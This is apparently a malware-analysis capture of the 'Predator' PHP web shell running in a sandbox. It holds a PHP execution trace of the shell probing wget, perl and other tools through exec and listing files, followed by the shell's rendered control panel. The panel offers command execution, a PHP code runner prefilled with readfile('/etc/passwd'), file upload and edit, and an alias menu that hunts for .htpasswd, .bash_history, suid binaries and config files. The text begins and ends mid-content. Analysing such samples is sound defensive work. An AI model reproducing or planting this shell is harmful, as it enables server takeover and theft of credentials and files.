set retrieval quota to NUMBER', 59 => ' --bind-address=ADDRESS bind to ADDRESS (hostname or IP) on local host', 60 => ' --limit-rate=RATE limit download rate to RATE', 61 => ' --no-dns-cache disable caching DNS lookups', 62 => ' --restrict-file-names=OS restrict chars in file names to ones OS allows', 63 => ' --ignore-case ignore case when matching files/directories', 64 => ' -4, --inet4-only connect only to IPv4 addresses', 65 => ' -6, --inet6-only connect only to IPv6 addresses', 66 => ' --prefer-family=FAMILY connect first to addresses of specified family,', 67 => ' one of IPv6, IPv4, or none', 68 => ' --user=USER set both ftp and http user to USER', 69 => ' --password=PASS set both ftp and http password to PASS', 70 => ' --ask-password prompt for passwords', 71 => ' --use-askpass=COMMAND specify credential handler for requesting', 72 => ' username and password. If no COMMAND is', 73 => ' specified the WGET_ASKPASS or the SSH_ASKPASS', 74 => ' environment variable is used.', 75 => ' --no-iri turn off IRI support', 76 => ' --local-encoding=ENC use ENC as the local encoding for IRIs', 77 => ' --remote-encoding=ENC use ENC as the default remote encoding', 78 => ' --unlink remove file before clobber', 79 => ' --xattr turn on storage of metadata in extended file attributes', 80 => '', 81 => 'Directories:', 82 => ' -nd, --no-directories don\'t create directories', 83 => ' -x, --force-directories force creation of directories', 84 => ' -nH, --no-host-directories don\'t create host directories', 85 => ' --protocol-directories use protocol name in directories', 86 => ' -P, --directory-prefix=PREFIX save files to PREFIX/..', 87 => ' --cut-dirs=NUMBER ignore NUMBER remote directory components', 88 => '', 89 => 'HTTP options:', 90 => ' --http-user=USER set http user to USER', 91 => ' --http-password=PASS set http password to PASS', 92 => ' --no-cache disallow server-cached data', 93 => ' --default-page=NAME change the default page name (normally', 94 => ' this is \'index.html\'.)', 95 => ' -E, --adjust-extension save HTML/CSS documents with proper extensions', 96 => ' --ignore-length ignore \'Content-Length\' header field', 97 => ' --header=STRING insert STRING among the headers', 98 => ' --compression=TYPE choose compression, one of auto, gzip and none. (default: none)', 99 => ' --max-redirect maximum redirections allowed per page', 100 => ' --proxy-user=USER set USER as proxy username', 101 => ' --proxy-password=PASS set PASS as proxy password', 102 => ' --referer=URL include \'Referer: URL\' header in HTTP request', 103 => ' --save-headers save the HTTP headers to file', 104 => ' -U, --user-agent=AGENT identify as AGENT instead of Wget/VERSION', 105 => ' --no-http-keep-alive disable HTTP keep-alive (persistent connections)', 106 => ' --no-cookies don\'t use cookies', 107 => ' --load-cookies=FILE load cookies from FILE before session', 108 => ' --save-cookies=FILE save cookies to FILE after session', 109 => ' --keep-session-cookies load and save session (non-permanent) cookies', 110 => ' --post-data=STRING use the POST method; send STRING as the data', 111 => ' --post-file=FILE use the POST method; send contents of FILE', 112 => ' --method=HTTPMethod use method "HTTPMethod" in the request', 113 => ' --body-data=STRING send STRING as data. --method MUST be set', 114 => ' --body-file=FILE send contents of FILE. --method MUST be set', 115 => ' --content-disposition honor the Content-Disposition header when', 116 => ' choosing local file names (EXPERIMENTAL)', 117 => ' --content-on-error output the received content on server errors', 118 => ' --auth-no-challenge send Basic HTTP authentication information', 119 => ' without first waiting for the server\'s', 120 => ' challenge', 121 => '', 122 => 'HTTPS (SSL/TLS) options:', 123 => ' --secure-protocol=PR choose secure protocol, one of auto, SSLv2,', 124 => ' SSLv3, TLSv1, TLSv1_1, TLSv1_2 and PFS', 125 => ' --https-only only follow secure HTTPS links', 126 => ' --no-check-certificate don\'t validate the server\'s certificate', 127 => ' --certificate=FILE client certificate file', ...]
4 50 1 0.010128 660736
4 50 R 'GNU Wget 1.21.2, a non-interactive network retriever.\nUsage: wget [OPTION]... [URL]...\n\nMandatory arguments to long options are mandatory for short options too.\n\nStartup:\n -V, --version display the version of Wget and exit\n -h, --help print this help\n -b, --background go to background after startup\n -e, --execute=COMMAND execute a `.wgetrc\'-style command\n\nLogging and input file:\n -o, --output-file=FILE log messag'
3 A /var/www/html/uploads/Predator.php 453 $out = 'GNU Wget 1.21.2, a non-interactive network retriever.\nUsage: wget [OPTION]... [URL]...\n\nMandatory arguments to long options are mandatory for short options too.\n\nStartup:\n -V, --version display the version of Wget and exit\n -h, --help print this help\n -b, --background go to background after startup\n -e, --execute=COMMAND execute a `.wgetrc\'-style command\n\nLogging and input file:\n -o, --output-file=FILE log messag'
3 47 1 0.010219 628288
3 47 R 'GNU Wget 1.21.2, a non-interactive network retriever.\nUsage: wget [OPTION]... [URL]...\n\nMandatory arguments to long options are mandatory for short options too.\n\nStartup:\n -V, --version display the version of Wget and exit\n -h, --help print this help\n -b, --background go to background after startup\n -e, --execute=COMMAND execute a `.wgetrc\'-style command\n\nLogging and input file:\n -o, --output-file=FILE log messag'
2 46 1 0.010265 611904
2 46 R '<font size=2 color=green>ON</font>'
2 51 0 0.010285 611904 testfetch 1 /var/www/html/uploads/Predator.php 807 0
3 52 0 0.010298 611904 ex 1 /var/www/html/uploads/Predator.php 368 1 'fetch --help'
3 A /var/www/html/uploads/Predator.php 447 $out = ''
4 53 0 0.010322 611904 function_exists 0 /var/www/html/uploads/Predator.php 450 1 'exec'
4 53 1 0.010337 611944
4 53 R TRUE
4 54 0 0.010351 611928 exec 0 /var/www/html/uploads/Predator.php 452 2 'fetch --help' ''
4 54 1 0.011098 612048
4 54 R ''
4 55 0 0.011120 611984 join 0 /var/www/html/uploads/Predator.php 453 2 '\n' []
4 55 1 0.011134 612048
4 55 R ''
3 A /var/www/html/uploads/Predator.php 453 $out = ''
3 52 1 0.011159 611904
3 52 R ''
2 51 1 0.011172 611904
2 51 R '<font size=2 color=red>OFF</font>'
2 56 0 0.011190 611904 testlynx 1 /var/www/html/uploads/Predator.php 810 0
3 57 0 0.011201 611904 ex 1 /var/www/html/uploads/Predator.php 348 1 'lynx --help'
3 A /var/www/html/uploads/Predator.php 447 $out = ''
4 58 0 0.011224 611904 function_exists 0 /var/www/html/uploads/Predator.php 450 1 'exec'
4 58 1 0.011237 611944
4 58 R TRUE
4 59 0 0.011250 611928 exec 0 /var/www/html/uploads/Predator.php 452 2 'lynx --help' ''
4 59 1 0.012070 612048
4 59 R ''
4 60 0 0.012095 611984 join 0 /var/www/html/uploads/Predator.php 453 2 '\n' []
4 60 1 0.012110 612048
4 60 R ''
3 A /var/www/html/uploads/Predator.php 453 $out = ''
3 57 1 0.012135 611904
3 57 R ''
2 56 1 0.012149 611904
2 56 R '<font size=2 color=red>OFF</font>'
2 61 0 0.012167 611904 testperl 1 /var/www/html/uploads/Predator.php 833 0
3 62 0 0.012179 611904 ex 1 /var/www/html/uploads/Predator.php 338 1 'perl -h'
3 A /var/www/html/uploads/Predator.php 447 $out = ''
4 63 0 0.012202 611904 function_exists 0 /var/www/html/uploads/Predator.php 450 1 'exec'
4 63 1 0.012215 611944
4 63 R TRUE
4 64 0 0.012228 611928 exec 0 /var/www/html/uploads/Predator.php 452 2 'perl -h' ''
4 64 1 0.013849 617648
4 64 R ''
4 65 0 0.013872 617584 join 0 /var/www/html/uploads/Predator.php 453 2 '\n' [0 => '', 1 => 'Usage: perl [switches] [--] [programfile] [arguments]', 2 => ' -0[octal/hexadecimal] specify record separator (\\0, if no argument)', 3 => ' -a autosplit mode with -n or -p (splits $_ into @F)', 4 => ' -C[number/list] enables the listed Unicode features', 5 => ' -c check syntax only (runs BEGIN and CHECK blocks)', 6 => ' -d[t][:MOD] run program under debugger or module Devel::MOD', 7 => ' -D[number/letters] set debugging flags (argument is a bit mask or alphabets)', 8 => ' -e commandline one line of program (several -e\'s allowed, omit programfile)', 9 => ' -E commandline like -e, but enables all optional features', 10 => ' -f don\'t do $sitelib/sitecustomize.pl at startup', 11 => ' -F/pattern/ split() pattern for -a switch (//\'s are optional)', 12 => ' -i[extension] edit <> files in place (makes backup if extension supplied)', 13 => ' -Idirectory specify @INC/#include directory (several -I\'s allowed)', 14 => ' -l[octnum] enable line ending processing, specifies line terminator', 15 => ' -[mM][-]module execute "use/no module..." before executing program', 16 => ' -n assume "while (<>) { ... }" loop around program', 17 => ' -p assume loop like -n but print line also, like sed', 18 => ' -s enable rudimentary parsing for switches after programfile', 19 => ' -S look for programfile using PATH environment variable', 20 => ' -t enable tainting warnings', 21 => ' -T enable tainting checks', 22 => ' -u dump core after parsing program', 23 => ' -U allow unsafe operations', 24 => ' -v print version, patchlevel and license', 25 => ' -V[:configvar] print configuration summary (or a single Config.pm variable)', 26 => ' -w enable many useful warnings', 27 => ' -W enable all warnings', 28 => ' -x[directory] ignore text before #!perl line (optionally cd to directory)', 29 => ' -X disable all warnings', 30 => '', 31 => 'Run \'perldoc perl\' for more help with Perl.', 32 => '']
4 65 1 0.013954 619696
4 65 R '\nUsage: perl [switches] [--] [programfile] [arguments]\n -0[octal/hexadecimal] specify record separator (\\0, if no argument)\n -a autosplit mode with -n or -p (splits $_ into @F)\n -C[number/list] enables the listed Unicode features\n -c check syntax only (runs BEGIN and CHECK blocks)\n -d[t][:MOD] run program under debugger or module Devel::MOD\n -D[number/letters] set debugging flags (argument is a bit mask or alphabets)\n -e commandline '
3 A /var/www/html/uploads/Predator.php 453 $out = '\nUsage: perl [switches] [--] [programfile] [arguments]\n -0[octal/hexadecimal] specify record separator (\\0, if no argument)\n -a autosplit mode with -n or -p (splits $_ into @F)\n -C[number/list] enables the listed Unicode features\n -c check syntax only (runs BEGIN and CHECK blocks)\n -d[t][:MOD] run program under debugger or module Devel::MOD\n -D[number/letters] set debugging flags (argument is a bit mask or alphabets)\n -e commandline '
3 62 1 0.014023 613952
3 62 R '\nUsage: perl [switches] [--] [programfile] [arguments]\n -0[octal/hexadecimal] specify record separator (\\0, if no argument)\n -a autosplit mode with -n or -p (splits $_ into @F)\n -C[number/list] enables the listed Unicode features\n -c check syntax only (runs BEGIN and CHECK blocks)\n -d[t][:MOD] run program under debugger or module Devel::MOD\n -D[number/letters] set debugging flags (argument is a bit mask or alphabets)\n -e commandline '
2 61 1 0.014055 611904
2 61 R '<font size=2 color=green>ON</font>'
2 66 0 0.014073 611904 date 0 /var/www/html/uploads/Predator.php 836 1 'H:i'
2 66 1 0.014133 614256
2 66 R '21:31'
2 67 0 0.014150 613968 date 0 /var/www/html/uploads/Predator.php 839 1 'd-m-Y'
2 67 1 0.014183 614256
2 67 R '12-02-2023'
2 68 0 0.014216 613968 getcwd 0 /var/www/html/uploads/Predator.php 842 0
2 68 1 0.014230 614016
2 68 R '/var/www/html/uploads'
2 69 0 0.014260 614016 disk_total_space 0 /var/www/html/uploads/Predator.php 842 1 '/var/www/html/uploads'
2 69 1 0.014279 614048
2 69 R 232015802368
2 70 0 0.014293 613968 view_size 1 /var/www/html/uploads/Predator.php 842 1 232015802368
3 71 0 0.014308 613968 round 0 /var/www/html/uploads/Predator.php 359 1 21608.155441284
3 71 1 0.014321 614000
3 71 R 21608
2 A /var/www/html/uploads/Predator.php 359 $size = '216.08 GB'
2 70 1 0.014348 614008
2 70 R '216.08 GB'
2 72 0 0.014380 613968 getcwd 0 /var/www/html/uploads/Predator.php 845 0
2 72 1 0.014395 614016
2 72 R '/var/www/html/uploads'
2 73 0 0.014409 614016 diskfreespace 0 /var/www/html/uploads/Predator.php 845 1 '/var/www/html/uploads'
2 73 1 0.014425 614048
2 73 R 198173020160
2 74 0 0.014438 613968 view_size 1 /var/www/html/uploads/Predator.php 845 1 198173020160
3 75 0 0.014451 613968 round 0 /var/www/html/uploads/Predator.php 359 1 18456.300735474
3 75 1 0.014464 614000
3 75 R 18456
2 A /var/www/html/uploads/Predator.php 359 $size = '184.56 GB'
2 74 1 0.014490 614008
2 74 R '184.56 GB'
2 76 0 0.014504 613968 shell 1 /var/www/html/uploads/Predator.php 860 0
3 77 0 0.014526 613968 ex 1 /var/www/html/uploads/Predator.php 559 1 'ls -la'
3 A /var/www/html/uploads/Predator.php 447 $out = ''
4 78 0 0.014549 613968 function_exists 0 /var/www/html/uploads/Predator.php 450 1 'exec'
4 78 1 0.014562 614008
4 78 R TRUE
4 79 0 0.014575 613992 exec 0 /var/www/html/uploads/Predator.php 452 2 'ls -la' ''
4 79 1 0.016247 615096
4 79 R '-rwxr-xr-x 1 root root 57 Feb 12 21:31 prepend.php'
4 80 0 0.016285 614936 join 0 /var/www/html/uploads/Predator.php 453 2 '\n' [0 => 'total 64', 1 => 'drwxrwxrwx 3 root root 4096 Feb 12 21:31 .', 2 => 'drwxrwxrwx 3 root root 4096 Feb 12 21:31 ..', 3 => '-rw-r--r-- 1 root root 64 Feb 12 21:31 .htaccess', 4 => '-rw-rw-r-- 1 osboxes osboxes 43704 Feb 12 21:31 Predator.php', 5 => 'drwxrwxrwx 2 root root 4096 Feb 12 21:31 data', 6 => '-rwxr-xr-x 1 root root 57 Feb 12 21:31 prepend.php']
4 80 1 0.016322 615384
4 80 R 'total 64\ndrwxrwxrwx 3 root root 4096 Feb 12 21:31 .\ndrwxrwxrwx 3 root root 4096 Feb 12 21:31 ..\n-rw-r--r-- 1 root root 64 Feb 12 21:31 .htaccess\n-rw-rw-r-- 1 osboxes osboxes 43704 Feb 12 21:31 Predator.php\ndrwxrwxrwx 2 root root 4096 Feb 12 21:31 data\n-rwxr-xr-x 1 root root 57 Feb 12 21:31 prepend.php'
3 A /var/www/html/uploads/Predator.php 453 $out = 'total 64\ndrwxrwxrwx 3 root root 4096 Feb 12 21:31 .\ndrwxrwxrwx 3 root root 4096 Feb 12 21:31 ..\n-rw-r--r-- 1 root root 64 Feb 12 21:31 .htaccess\n-rw-rw-r-- 1 osboxes osboxes 43704 Feb 12 21:31 Predator.php\ndrwxrwxrwx 2 root root 4096 Feb 12 21:31 data\n-rwxr-xr-x 1 root root 57 Feb 12 21:31 prepend.php'
3 77 1 0.016383 614352
3 77 R 'total 64\ndrwxrwxrwx 3 root root 4096 Feb 12 21:31 .\ndrwxrwxrwx 3 root root 4096 Feb 12 21:31 ..\n-rw-r--r-- 1 root root 64 Feb 12 21:31 .htaccess\n-rw-rw-r-- 1 osboxes osboxes 43704 Feb 12 21:31 Predator.php\ndrwxrwxrwx 2 root root 4096 Feb 12 21:31 data\n-rwxr-xr-x 1 root root 57 Feb 12 21:31 prepend.php'
2 A /var/www/html/uploads/Predator.php 559 $u = 'total 64\ndrwxrwxrwx 3 root root 4096 Feb 12 21:31 .\ndrwxrwxrwx 3 root root 4096 Feb 12 21:31 ..\n-rw-r--r-- 1 root root 64 Feb 12 21:31 .htaccess\n-rw-rw-r-- 1 osboxes osboxes 43704 Feb 12 21:31 Predator.php\ndrwxrwxrwx 2 root root 4096 Feb 12 21:31 data\n-rwxr-xr-x 1 root root 57 Feb 12 21:31 prepend.php'
2 76 1 0.016440 614352
2 76 R 'total 64\ndrwxrwxrwx 3 root root 4096 Feb 12 21:31 .\ndrwxrwxrwx 3 root root 4096 Feb 12 21:31 ..\n-rw-r--r-- 1 root root 64 Feb 12 21:31 .htaccess\n-rw-rw-r-- 1 osboxes osboxes 43704 Feb 12 21:31 Predator.php\ndrwxrwxrwx 2 root root 4096 Feb 12 21:31 data\n-rwxr-xr-x 1 root root 57 Feb 12 21:31 prepend.php'
2 81 0 0.016479 614352 htmlspecialchars 0 /var/www/html/uploads/Predator.php 860 1 'total 64\ndrwxrwxrwx 3 root root 4096 Feb 12 21:31 .\ndrwxrwxrwx 3 root root 4096 Feb 12 21:31 ..\n-rw-r--r-- 1 root root 64 Feb 12 21:31 .htaccess\n-rw-rw-r-- 1 osboxes osboxes 43704 Feb 12 21:31 Predator.php\ndrwxrwxrwx 2 root root 4096 Feb 12 21:31 data\n-rwxr-xr-x 1 root root 57 Feb 12 21:31 prepend.php'
2 81 1 0.016514 615152
2 81 R 'total 64\ndrwxrwxrwx 3 root root 4096 Feb 12 21:31 .\ndrwxrwxrwx 3 root root 4096 Feb 12 21:31 ..\n-rw-r--r-- 1 root root 64 Feb 12 21:31 .htaccess\n-rw-rw-r-- 1 osboxes osboxes 43704 Feb 12 21:31 Predator.php\ndrwxrwxrwx 2 root root 4096 Feb 12 21:31 data\n-rwxr-xr-x 1 root root 57 Feb 12 21:31 prepend.php'
2 82 0 0.016554 613968 edit 1 /var/www/html/uploads/Predator.php 861 0
2 82 1 0.016572 613968
2 82 R NULL
2 83 0 0.016592 613968 pwd 1 /var/www/html/uploads/Predator.php 905 0
3 84 0 0.016609 613968 chdir 0 /var/www/html/uploads/Predator.php 600 1 NULL
3 84 1 0.016636 614008
3 84 R FALSE
3 85 0 0.016654 613968 getcwd 0 /var/www/html/uploads/Predator.php 601 0
3 85 1 0.016670 614016
3 85 R '/var/www/html/uploads'
2 A /var/www/html/uploads/Predator.php 601 $cwd = '/var/www/html/uploads'
3 86 0 0.016705 614016 strrpos 0 /var/www/html/uploads/Predator.php 602 2 '/var/www/html/uploads' '/'
3 86 1 0.016723 614088
3 86 R 13
2 A /var/www/html/uploads/Predator.php 602 $u = 13
2 83 1 0.016755 614016
2 83 R '/var/www/html/uploads/'
2 87 0 0.016775 613968 pwd 1 /var/www/html/uploads/Predator.php 917 0
3 88 0 0.016792 613968 chdir 0 /var/www/html/uploads/Predator.php 600 1 NULL
3 88 1 0.016815 614008
3 88 R FALSE
3 89 0 0.016832 613968 getcwd 0 /var/www/html/uploads/Predator.php 601 0
3 89 1 0.016848 614016
3 89 R '/var/www/html/uploads'
2 A /var/www/html/uploads/Predator.php 601 $cwd = '/var/www/html/uploads'
3 90 0 0.016881 614016 strrpos 0 /var/www/html/uploads/Predator.php 602 2 '/var/www/html/uploads' '/'
3 90 1 0.016897 614088
3 90 R 13
2 A /var/www/html/uploads/Predator.php 602 $u = 13
2 87 1 0.016927 614016
2 87 R '/var/www/html/uploads/'
2 91 0 0.017129 613968 pwd 1 /var/www/html/uploads/Predator.php 931 0
3 92 0 0.017148 613968 chdir 0 /var/www/html/uploads/Predator.php 600 1 NULL
3 92 1 0.017172 614008
3 92 R FALSE
3 93 0 0.017190 613968 getcwd 0 /var/www/html/uploads/Predator.php 601 0
3 93 1 0.017206 614016
3 93 R '/var/www/html/uploads'
2 A /var/www/html/uploads/Predator.php 601 $cwd = '/var/www/html/uploads'
3 94 0 0.017239 614016 strrpos 0 /var/www/html/uploads/Predator.php 602 2 '/var/www/html/uploads' '/'
3 94 1 0.017257 614088
3 94 R 13
2 A /var/www/html/uploads/Predator.php 602 $u = 13
2 91 1 0.017287 614016
2 91 R '/var/www/html/uploads/'
1 3 1 0.017534 622160
0.017594 481632
TRACE END [2023-02-13 00:32:25.222947]
<html><head>
<title>.::Predator::.</title>
<meta http-equiv="Content-Type" content="text/html; charset=CP866">
<style type="text/css">
.ta {background: #333333; border:1px solid #666666; color: #FFFFFF;}
.bt {border: 1px solid #666666;background: #333333;font-weight:bold;}
.td1 {border:2px solid #000000;}
.td2 {border:1px solid #000000;}
.ram {border:1px solid #666666;background:#222222;}
body { scrollbar-base-color: #333333}
</style>
<script>
function kill()
{
var y;
y = confirm('Are you really want to kill shell?');
if(y == true)
{
document.location = '?kill=yes';
}
}
</script>
</head>
<body bgcolor="#000000">
<center><table width="90%" cellpadding="0" cellspacing="0" style="border: 1px solid #666666">
<tbody><tr><td width="100%" height="70" bgcolor="#333333" style="border-bottom: 2px solid #666666" valign="top">
<table valign="top">
<tbody><tr><td valign="top">
<table valign="center" class="ram">
<tbody><tr><td width="5%" align="right">
<font size="2" color="#888888">System:</font>
</td>
<td width="100%">
<font size="2" color="red"><b>Linux 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023</b></font>
</td></tr>
<tr><td width="5%" align="right">
<font size="2" color="#888888">Server:</font>
</td>
<td width="100%">
<font size="2" color="red"><b>Apache/2.4.52 (Ubuntu)</b></font>
</td></tr>
<tr><td width="5%" align="right">
<font size="2" color="#888888">User:</font>
</td>
<td width="100%">
<font size="2" color="red"><b>uid=33(www-data) gid=33(www-data) groups=33(www-data)</b></font>
</td></tr>
<tr><td width="5%" align="right">
<font size="2" color="#888888">pwd:</font>
</td>
<td width="100%">
<font size="2" color="red"><b>/var/www/html/</b></font>
</td></tr>
</tbody></table>
</td>
<td width="13%" valign="center" align="center">
<table width="100%" height="100%" cellpadding="0" cellspacing="0"><tbody><tr><td width="100%" height="100%">
<center>
<a href="http://h0ld-up.info"><table cellpadding="2" cellspacing="2" style="border:1px solid #666666;background:#444444">
<tbody><tr><td><font size="2" color="#999999">
<center><b>.::h0ld-up-team::.<br>web-shell</b></center>
</font></td></tr></tbody></table></a></center>
</td></tr><tr><td height="5"></td></tr><tr><td>
<center>
<input type="submit" style="border:1px solid #666666;background: darkred;font-weight:bold;" value=" Kill Shell " onclick="kill()">
</center>
</td></tr></tbody></table>
</td>
<td class="ram" width="45%" valign="center" align="center">
<table cellpadding="0" cellspacing="0">
<tbody><tr><td>
<table valign="top" cellpadding="0" cellspacing="0">
<tbody><tr><td align="right">
<font size="2" color="#888888">PHP-version:</font>
</td></tr>
<tr><td align="right">
<font size="2" color="#888888">MySQL:</font>
</td></tr>
<tr><td align="right">
<font size="2" color="#888888">MSSQL:</font>
</td></tr>
<tr><td align="right">
<font size="2" color="#888888">PostgreSQL:</font>
</td></tr>
<tr><td align="right">
<font size="2" color="#888888">Oracle:</font>
</td></tr>
</tbody></table>
</td><td>
<table valign="top" cellpadding="0" cellspacing="0">
<tbody><tr><td>
<b><font size="2" color="red">7.2.34-37+ubuntu22.04.1+deb.sury.org+1</font></b>
</td></tr>
<tr><td>
<b><font size="2" color="red">OFF</font></b>
</td></tr>
<tr><td>
<b><font size="2" color="red">OFF</font></b>
</td></tr>
<tr><td>
<b><font size="2" color="red">OFF</font></b>
</td></tr>
<tr><td>
<b><font size="2" color="red">OFF</font></b>
</td></tr>
</tbody></table>
</td><td width="4%"></td>
<td valign="top"><table cellpadding="0" cellspacing="0" valign="top">
<tbody><tr><td valign="top" align="right">
<font color="#888888" size="2">Safe_mode:</font>
</td></tr>
<tr><td valign="top" align="right">
<font color="#888888" size="2">cURL:</font>
</td></tr>
<tr><td valign="top" align="right">
<font color="#888888" size="2">wget:</font>
</td></tr>
<tr><td valign="top" align="right">
<font color="#888888" size="2">fetch:</font>
</td></tr>
<tr><td valign="top" align="right">
<font color="#888888" size="2">lynx:</font>
</td></tr>
</tbody></table></td>
<td valign="top"><table cellpadding="0" cellspacing="0" valign="top">
<tbody><tr><td valign="top">
<b><font size="2" color="red">OFF</font></b>
</td></tr>
<tr><td valign="top">
<b><font size="2" color="green">ON</font></b>
</td></tr>
<tr><td valign="top">
<b><font size="2" color="green">ON</font></b>
</td></tr>
<tr><td valign="top">
<b><font size="2" color="red">OFF</font></b>
</td></tr>
<tr><td valign="top">
<b><font size="2" color="red">OFF</font></b>
</td></tr>
</tbody></table></td>
<td width="4%"></td>
<td valign="top"><table cellpadding="0" cellspacing="0" valign="top">
<tbody><tr><td valign="top" align="right">
<font color="#888888" size="2">Perl:</font>
</td></tr>
<tr><td valign="top" align="right">
<font color="#888888" size="2">Server time:</font>
</td></tr>
<tr><td valign="top" align="right">
<font color="#888888" size="2">Server date:</font>
</td></tr>
<tr><td valign="top" align="right">
<font color="#888888" size="2">Total space:</font>
</td></tr>
<tr><td valign="top" align="right">
<font color="#888888" size="2">Free space:</font>
</td></tr>
</tbody></table></td>
<td valign="top"><table cellpadding="0" cellspacing="0" valign="top">
<tbody><tr><td valign="top">
<b><font size="2" color="green"><font size="2" color="green">ON</font></font></b>
</td></tr>
<tr><td valign="top">
<b><font size="2" color="#999999">21:31</font></b>
</td></tr>
<tr><td valign="top">
<b><font size="2" color="#999999">12-02-2023</font></b>
</td></tr>
<tr><td valign="top">
<b><font size="2" color="#999999">216.08 GB</font></b>
</td></tr>
<tr><td valign="top">
<b><font size="2" color="#999999">184.56 GB</font></b>
</td></tr>
</tbody></table></td></tr>
</tbody></table>
</td></tr>
</tbody></table>
</td></tr>
<tr><td width="100%" height="100%" bgcolor="#333333" valign="top">
<table width="100%">
<tbody><tr><td valign="top" align="center">
<table width="100%" height="200" class="td1">
<tbody><tr><td valign="top" align="left" width="50%">
<form action="" method="POST">
<input type="hidden" name="type" value="5">
<textarea cols="80" rows="13" name="value" class="ta">total 52
drwxrwxrwx 2 root root 4096 Feb 12 21:31 .
drwxrwxrwx 3 root root 4096 Feb 12 21:31 ..
-rw-rw-r-- 1 osboxes osboxes 43704 Feb 12 21:31 Predator.php
-rw-r--r-- 1 root root 0 Feb 12 21:31 beneri.se_malware_analysis</textarea></form>
</td>
<td valign="top" align="left" width="10%">
<table width="100%" height="100%" class="td2">
<form action="" method="POST"></form><tbody><tr><td valign="top" align="left" height="40%" style="border-bottom: 1px solid #000000;">
<b>.::System shell::.</b><br>
<input type="hidden" name="type" value="2">
<center><input type="text" name="value" size="35" class="ta"></center>
<!-- br--><center><input type="submit" value="Enter" style="border-top: 1px solid #333333;border-bottom: 1px solid #666666;border-right: 1px solid #666666;border-left: 1px solid #666666;background: #333333;font-weight:bold;"></center>
</td></tr>
<tr><td valign="top" align="left">
<form action="" method="POST">
<table>
<tbody><tr><td>
<b>.::PHP-code::.</b>
</td><td align="right">
<input type="submit" value="Run code" class="bt">
<input type="hidden" name="type" value="1">
</td></tr>
<tr><td colspan="2">
<textarea rows="5" cols="26" name="value" class="ta">readfile('/etc/passwd');</textarea>
</td></tr>
</tbody></table></form>
</td></tr>
</tbody></table>
</td></tr>
</tbody></table>
<table>
<tbody><tr><td height="0"></td></tr>
</tbody></table>
<table width="100%" height="80" class="td1" valign="top">
<tbody><tr><td valign="top" align="left" width="50%">
<form action="" method="POST">
<table width="100%" height="100%" valign="top" class="td2">
<tbody><tr><td>
<b>.::PWD::.</b>
</td><td align="right">
<input type="submit" class="bt" value="cd">
<input type="hidden" name="type" value="3">
</td></tr>
<tr><td colspan="2">
<input type="text" name="value" class="ta" size="71" value="/var/www/html/">
</td></tr>
</tbody></table></form></td><td valign="top" align="left" width="50%">
<form action="" method="POST">
<table width="100%" height="100%" valign="top" class="td2">
<tbody><tr><td>
<b>.::File Edit::.</b>
</td><td align="right">
<input type="submit" class="bt" value="Edit">
<input type="hidden" name="type" value="4">
</td></tr>
<tr><td colspan="2">
<input type="text" name="value" class="ta" size="72" value="/var/www/html/">
</td></tr>
</tbody></table></form>
</td></tr>
<tr><td valign="top" align="left" width="50%">
<form action="" method="POST">
<table width="100%" height="100%" valign="top" class="td2">
<tbody><tr><td>
<b>.::Download::.</b>
</td><td align="right">
<input type="submit" class="bt" value="Download">
<input type="hidden" name="type" value="11">
</td></tr>
<tr><td colspan="2">
<input type="text" name="value" class="ta" size="71" value="/var/www/html/">
</td></tr>
</tbody></table></form></td><td valign="top" align="left" width="50%">
<form enctype="multipart/form-data" action="" method="POST">
<table width="100%" height="100%" valign="top" class="td2">
<tbody><tr><td>
<b>.::Upload::.</b>
</td><td align="right" colspan="3">
<input type="submit" class="bt" value="Upload">
<input type="hidden" name="type" value="6">
</td></tr>
<tr><td colspan="2">
<font size="2" color="#888888">New name:
<input type="text" size="15" name="newname" class="ta">
</font></td><td width="4"></td><td colspan="2">
<input type="file" name="userfile" size="28">
</td></tr>
</tbody></table></form>
</td></tr><tr><td valign="top" align="left" width="50%">
<form action="" method="POST">
<table width="100%" height="100%" valign="top" class="td2">
<tbody><tr><td>
<b>.::Alias::.</b>
</td><td align="right">
<input type="submit" class="bt" value="RUN">
<input type="hidden" name="type" value="7">
</td></tr>
<tr><td colspan="2">
<select name="value" class="ta" width="200">
<option>find apahce config file</option>
<option>find access_log files</option>
<option>find error_log files</option>
<option>find suid files</option>
<option>find suid files in current dir</option>
<option>find sgid files</option>
<option>find sgid files in current dir</option>
<option>find config.inc.php files</option>
<option>find config.inc.php files in current dir</option>
<option>find config* files</option>
<option>find config* files in current dir</option>
<option>find all writable files</option>
<option>find all writable files in current dir</option>
<option>find all writable directories</option>
<option>find all writable directories in current dir</option>
<option>find all writable directories and files</option>
<option>find all writable directories and files in current dir</option>
<option>find all service.pwd files</option>
<option>find service.pwd files in current dir</option>
<option>find all .htpasswd files</option>
<option>find .htpasswd files in current dir</option>
<option>find all .bash_history files</option>
<option>find .bash_history files in current dir</option>
<option>find all .mysql_history files</option>
<option>find .mysql_history files in current dir</option>
<option>find all .fetchmailrc files</option>
<option>find .fetchmailrc files in current dir</option>
<option>list file attributes on a Linux second extended file system</option>
<option>show opened ports</option>
<option>---------------------------------------------------------------------------------------------------------</option>
</select>
</td></tr>
</tbody></table></form></td>
<script>
function base64Encode(str)
{
var charBase64 = new Array(
'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P',
'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f',
'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v',
'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/'
);
var out = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
var len = str.length;
do
{
chr1 = str.charCodeAt(i++);
chr2 = str.charCodeAt(i++);
chr3 = str.charCodeAt(i++);
enc1 = chr1 >> 2;
enc2 = ((chr1 & 0x03) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 0x0F) << 2) | (chr3 >> 6);
enc4 = chr3 & 0x3F;
out += charBase64[enc1] + charBase64[enc2];
if (isNaN(chr2))
{
out += '==';
}
else if (isNaN(chr3))
{
out += charBase64[enc3] + '=';
}
else
{
out += charBase64[enc3] + charBase64[enc4];
}
}
while (i < len);
return out;
}
function base64Decode(str)
{
var indexBase64 = new Array(
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,62, -1,-1,-1,63,
52,53,54,55, 56,57,58,59, 60,61,-1,-1, -1,-1,-1,-1,
